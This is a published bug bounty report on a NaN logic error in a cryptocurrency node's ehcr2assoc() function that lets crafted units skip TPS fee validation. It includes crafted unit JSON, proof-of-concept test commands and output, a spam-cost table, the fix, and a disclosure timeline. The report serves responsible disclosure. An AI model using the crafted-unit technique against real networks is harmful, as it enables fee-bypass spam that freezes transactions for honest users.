



Bug Bounty Report

Logic Error in `ehcr2assoc()` Produces NaN Share Values,
Bypassing TPS Fee Validation and Enabling Network Spam

alva-p.xyz

April 2026

Table of Contents

- Summary
 - Root Cause
 - How the NaN Propagates Through Validation
 - Two Attack Variants
 - Attack Economics
 - Happy Path vs Attack Path
 - Proof of Concept
 - Fix Direction
 - Honest Report Boundary
 - Timeline
-

Summary

`storage.ehcr2assoc()` destructures `earned_headers_commission_recipients` using the wrong field name (`share` instead of `earned_headers_commission_share`), causing every extracted share value to be `undefined`. Dividing `undefined` by 100 produces `NaN`. Both TPS fee validation checks in `validation.js` use arithmetic involving this `NaN`, which makes every comparison return `false` in JavaScript – silently passing all fee checks regardless of the actual `tps_fee` value.

An attacker who crafts a raw unit with `earned_headers_commission_recipients` pointing to their own address can set `tps_fee: 0` and have it accepted by the validator under any network load. Because the GBYTE output is sent back to the attacker, capital recirculates freely. Only headers+payload commission (~800 bytes/unit) is consumed per spam unit, while honest users face exponentially growing TPS fees.

Severity: Medium (downgraded to low – code not yet on mainnet at time of report) **Impact:** Temporary freezing of network transactions by raising TPS fees for honest users **Status:** Confirmed and fixed

Root Cause

File: `storage.js:1110`

```
1  function ehcr2assoc(earned_headers_commission_recipients) {
2      if (!earned_headers_commission_recipients)
3          return earned_headers_commission_recipients;
4      let assoc = {};
5 -    for (let { address, share } of
6 +    for (let { address, earned_headers_commission_share: share }
7 +    of
8          earned_headers_commission_recipients)
9          assoc[address] = share;
10     return assoc;
11 }
```

The destructuring pattern uses the shorthand name `share`, but the actual field in the protocol object is `earned_headers_commission_share`. JavaScript silently assigns `undefined` when a destructured property does not exist.

Result: `ehcr2assoc` always returns `{ "ADDRESS": undefined }` for any input.

How the NaN Propagates Through Validation

The call chain from the buggy function to the bypassed checks:

```
1  validateTpsFee (validation.js:945)
2  |
3  +--> storage.getTpsFeeRecipients(
4  |     storage.ehcr2assoc(objUnit.
5  |         earned_headers_commission_recipients),
6  |         arrFromAddresses
7  |     )
8  |     --> returns { "ATTACKER": undefined }
9  +--> for (let address in recipients) {
10     const share = recipients[address] / 100;
11     //          undefined / 100 = NaN
```

With `share = NaN`, both fee guards resolve to `false`:

```
1  // Check 1 -- minimum tps_fee required
2  if (tps_fees_balance + objUnit.tps_fee * NaN < min_tps_fee * NaN)
3  //   NaN < NaN --> false --> check silently passes, no rejection
```

```
4     return callback("tps_fee too low");
5
6 // Check 2 -- minimum acceptable tps_fee under current load
7 const tps_fee = tps_fees_balance / NaN + objUnit.tps_fee; // NaN
8 if (NaN < min_acceptable_tps_fee)
9 //   NaN < X    --> false --> check silently passes, no rejection
10    return callback(createTransientError("tps fee too low"));
11
12 // Both checks passed --> unit accepted regardless of tps_fee value
```

This is a fundamental JavaScript property: any arithmetic involving `NaN` returns `NaN`, and any comparison with `NaN` (including `NaN < NaN`) returns `false`.

Two Attack Variants

Variant A – Single-author unit (1 keypair needed)

`earned_headers_commission_recipients` is optional for single-author units. An attacker voluntarily includes it pointing to their own address:

```
1 {
2   "authors": [{ "address": "ATTACKER_ADDR", "authenticifiers": { "r":
3     "..."} }],
4   "earned_headers_commission_recipients": [
5     { "address": "ATTACKER_ADDR", "earned_headers_commission_share"
6       : 100 }
7   ],
8   "tps_fee": 0
9 }
```

Only one keypair is required. The attacker controls when and how to trigger the bypass.

Variant B – Multi-author unit (2+ keypairs)

`earned_headers_commission_recipients` is **required** by the protocol for multi-author units (`validation.js:963`). Every multi-author v4 unit on mainnet would automatically trigger the bypass without any additional attacker action.

Note on the Standard Composer

`composer.js:376-378` contains an accidental fallback that partially masks the bug:

```

1 let recipients = storage.getTpsFeeRecipients(
2     storage.ehcr2assoc(objUnit.earned_headers_commission_recipients
3         ),
4     arrFromAddresses
5 );
6 if (!recipients[arrFromAddresses[0]]) // fallback: undefined is
    falsy
    recipients[arrFromAddresses[0]] = 100;

```

Honest users using the standard wallet/composer accidentally hit this fallback and pay the correct fee. Only a malicious actor who crafts raw units (e.g. a script that manually sets `tps_fee: 0`) exploits the bypass.

Attack Economics

Attack scenario: attacker submits payment units in a loop with `tps_fee: 0`, GBYTE output sent back to self. Capital recirculates – only headers+payload commission (~800 bytes/unit) is consumed per spam unit.

As attacker TPS rises, `getCurrentTps()` increases and honest users face the exponential fee formula:

```

1 min_acceptable_tps_fee = tps_fee_multiplier * base_tps_fee
2                        * (exp(TPS / tps_interval) - 1)

```

With devnet governance params (base=10, interval=2, multiplier=10):

Attacker TPS	Honest user min fee (bytes)	Attacker pays	Ratio
1	~170	~800	–
5	~1,120	~800	1.4x
10	~14,740	~800	18x
20	~2,202,550	~800	2,753x
50	~7.2 trillion	~800	network unusable

The attack becomes asymmetric once sustained TPS exceeds ~3-5: the attacker's cost is fixed at ~800 bytes/unit regardless of TPS, while honest users face exponential fee growth. The attacker deliberately drives TPS up to create and sustain the asymmetry.

The attacker's GBYTE capital recirculates (output = self). Only hc+pc (~800 bytes per unit) is consumed. The damage to the network far exceeds the attacker's total expense.

Happy Path vs Attack Path

The table below shows all four scenarios covered by the PoC:

Scenario	EHCR	tps_fee	share computed	Check 1	Check 2	Result
Happy path (honest user)	self 100%	min_fee	1.0	passes	passes	ifOk (correct)
Attack path (EXPLOIT-A)	self 100%	0	NaN	NaN<NaN=false	NaN<X=false	ifOk (BUG)
No EHCR baseline (BASELINE-B)	none	0	1.0	0<min=true fires		unit_error (correct)
After 1-line fix (FIXED-D)	self 100%	0	1.0	0<min=true fires		unit_error (correct)

Proof of Concept

PoC repository: <https://gist.github.com/alva-p/4e509e19ff64247e11a9dcdd8ee163f9>

Two test files inside `test/`:

```

1 ocore/
2   test/
3     poc_tpsfee_bypass.test.js    <- Suite 1: isolation tests
4     poc_full_signed_exploit.test.js <- Suite 2: end-to-end signed
                                   unit

```

Suite 1 – Isolation Tests (no network needed)

```
1 ./node_modules/.bin/ava test/poc_tpsfee_bypass.test.js \  
2 --timeout=60s --concurrency=1 --verbose
```

Expected output (8/8 pass):

```
1 [PASS] T1: ehcr2assoc extracts wrong field -- share is undefined  
2   Buggy  share = undefined (type: undefined)  
3   Fixed  share = 50         (type: number)  
4   share / 100 = NaN --> isNaN: true  
5  
6 [PASS] T2: getTpsFeeRecipients propagates undefined shares through  
   ehcr2assoc  
7  
8 [PASS] T3: NaN comparisons always return false -- both fee checks  
   bypassed  
9   Check 1: (NaN) < (NaN) -> false [BYPASS]  
10  Check 2: (NaN) < (750000) -> false [BYPASS]  
11  Fixed: Check 1 = true, Check 2 = true -> correctly rejected  
12  
13 [PASS] T4: real code -- validateTpsFee accepts multi-author unit  
   with tps_fee=0  
14  EXPLOIT CONFIRMED: tps_fee=0 with EHCR passes all checks  
15  tps_fee paid: 0 | min_tps_fee required: 500,000 | Result:  
   ACCEPTED  
16  
17 [PASS] T5: single-author unit with tps_fee=0 is correctly REJECTED  
18  share=1, check1_fails=true -> correctly rejected  
19  
20 [PASS] T6: with FIXED ehcr2assoc, multi-author unit with tps_fee=0  
   correctly REJECTED  
21  Fixed: share=0.5, check1=true -> attack correctly rejected  
22  
23 [PASS] T7: attack economics -- exponential fee growth confirmed  
24  Attacker cost per unit: ~800 bytes (hc+pc only, tps_fee=0)  
25  TPS=10: legit fee = 22,025,466 bytes | attacker pays = 800 bytes  
   | ratio = 27532x  
26  
27 [PASS] T8: single-author + self-EHCR also bypasses -- only 1  
   keypair needed  
28  
29 8 tests passed
```

Suite 2 – Full End-to-End Signed Unit

Generates a real secp256k1 keypair, derives an address, funds it in a devnet database, builds a complete signed payment unit with `tps_fee: 0` and self-EHCR, and submits it through the full

validation.validate() pipeline.

```
1 ./node_modules/.bin/ava test/poc_full_signed_exploit.test.js \  
2   --timeout=90s --concurrency=1 --verbose
```

Expected output (5/5 pass):

```
1 [Setup] Attacker address : SQW2UCP3RIHPV44WYDYLLBQAEYHG2M7J  
2 [Setup] Funded UTXO      : 10000000000 bytes  
3  
4 [PASS] EXPLOIT-A: real signed unit -- self-EHCR + tps_fee=0  
   accepted  
5   unit hash : EM20ljKGr2Cr011JtI6PF6YZVnQj8TyiAAKEhCCHUeE=  
6   tps_fee   : 0  
7   Required  : 100000 bytes (mocked high-load TPS)  
8   Result    : ok | error: none  
9   ROOT CAUSE:  
10    share = undefined / 100 = NaN  
11    Check 1: NaN < NaN    -> false (BYPASS)  
12    Check 2: NaN < 150000 -> false (BYPASS)  
13    => Unit accepted paying 0 bytes TPS fee (100,000 required)  
14  
15 [PASS] BASELINE-B: same tps_fee=0 WITHOUT EHCR -> correctly  
   rejected  
16   error: "tps_fee 0 + tps fees balance 0 less than required 100000  
   "  
17   Without EHCR: share = 1 -> normal checks fire -> rejection  
18  
19 [PASS] LEGIT-C: self-EHCR + tps_fee=100000 -> accepted (honest user  
   , correct fee)  
20   With correct fee: balance equation holds, unit accepted  
21  
22 [PASS] FIXED-D: 1-line patch applied -> exploit correctly rejected  
23   error: "tps_fee 0 + tps fees balance 0 less than required  
   100000..."  
24   PATCH: earned_headers_commission_share -> share=1 -> checks fire  
25  
26 [PASS] SUMMARY: attack economics, scope, and fix confirmed  
27  
28 5 tests passed
```

Fix Direction

Primary Fix – storage.js:1110

One-line change – rename the destructured variable to match the actual field name:

```
1 - for (let { address, share } of
    earned_headers_commission_recipients)
2 + for (let { address, earned_headers_commission_share: share } of
3 +     earned_headers_commission_recipients)
4     assoc[address] = share;
```

Secondary Verification

`storage.js:1395` calls `ehcr2assoc()` again inside `getPaidTpsFee()`. After applying the primary fix, verify that path also behaves correctly under the same scenarios.

Defense in Depth

Add explicit `NaN` guards in `validateTpsFee` to prevent silent bypasses from any future field-name mismatch:

```
1 if (!Number.isFinite(share) || share <= 0)
2     return callback("invalid EHCR share");
```

Honest Report Boundary

What Is Directly Proven (Code + Tests)

- `ehcr2assoc()` returns `{ address: undefined }` for any valid EHCR input because the destructuring uses `share` instead of `earned_headers_commission_share`
- `undefined / 100 === NaN` in JavaScript (verified by T1)
- `NaN < NaN` and `NaN < X` both return `false` (verified by T3)
- `validateTpsFee` accepts a real signed unit with `tps_fee: 0` and self-EHCR through the full `validation.validate()` pipeline (EXPLOIT-A)
- The same unit is correctly rejected when EHCR is absent (BASELINE-B)
- The 1-line fix restores correct rejection (FIXED-D)
- The attack requires only 1 keypair (T8)
- The exponential fee formula confirms asymmetric cost at `TPS > 3-5` (T7)

What Is Modeled but Not End-to-End

Sustained spam loop not run: T7 and T8 prove the per-unit economics and single-keypair feasibility, but a continuous high-TPS loop was not executed against a live devnet node. The economic model is derived from the fee formula constants in `constants.js`, not from live measurements.

Mainnet impact not demonstrated: At time of submission, the TPS fee code was active on mainnet but the `ehcr2assoc` bug was in unreleased code. The project confirmed the code was not yet deployed, which is why the severity was assessed as lower than the initial claim.

Timeline

Date	Event
April 29, 2026	Report submitted
April 29, 2026	Escalated to project for technical assessment
April 30, 2026	Bug confirmed – typo in <code>ehcr2assoc()</code> acknowledged
April 30, 2026	Project notes code is not yet on mainnet
May 1, 2026	Bounty paid
May 1, 2026	Permission granted to publish this report
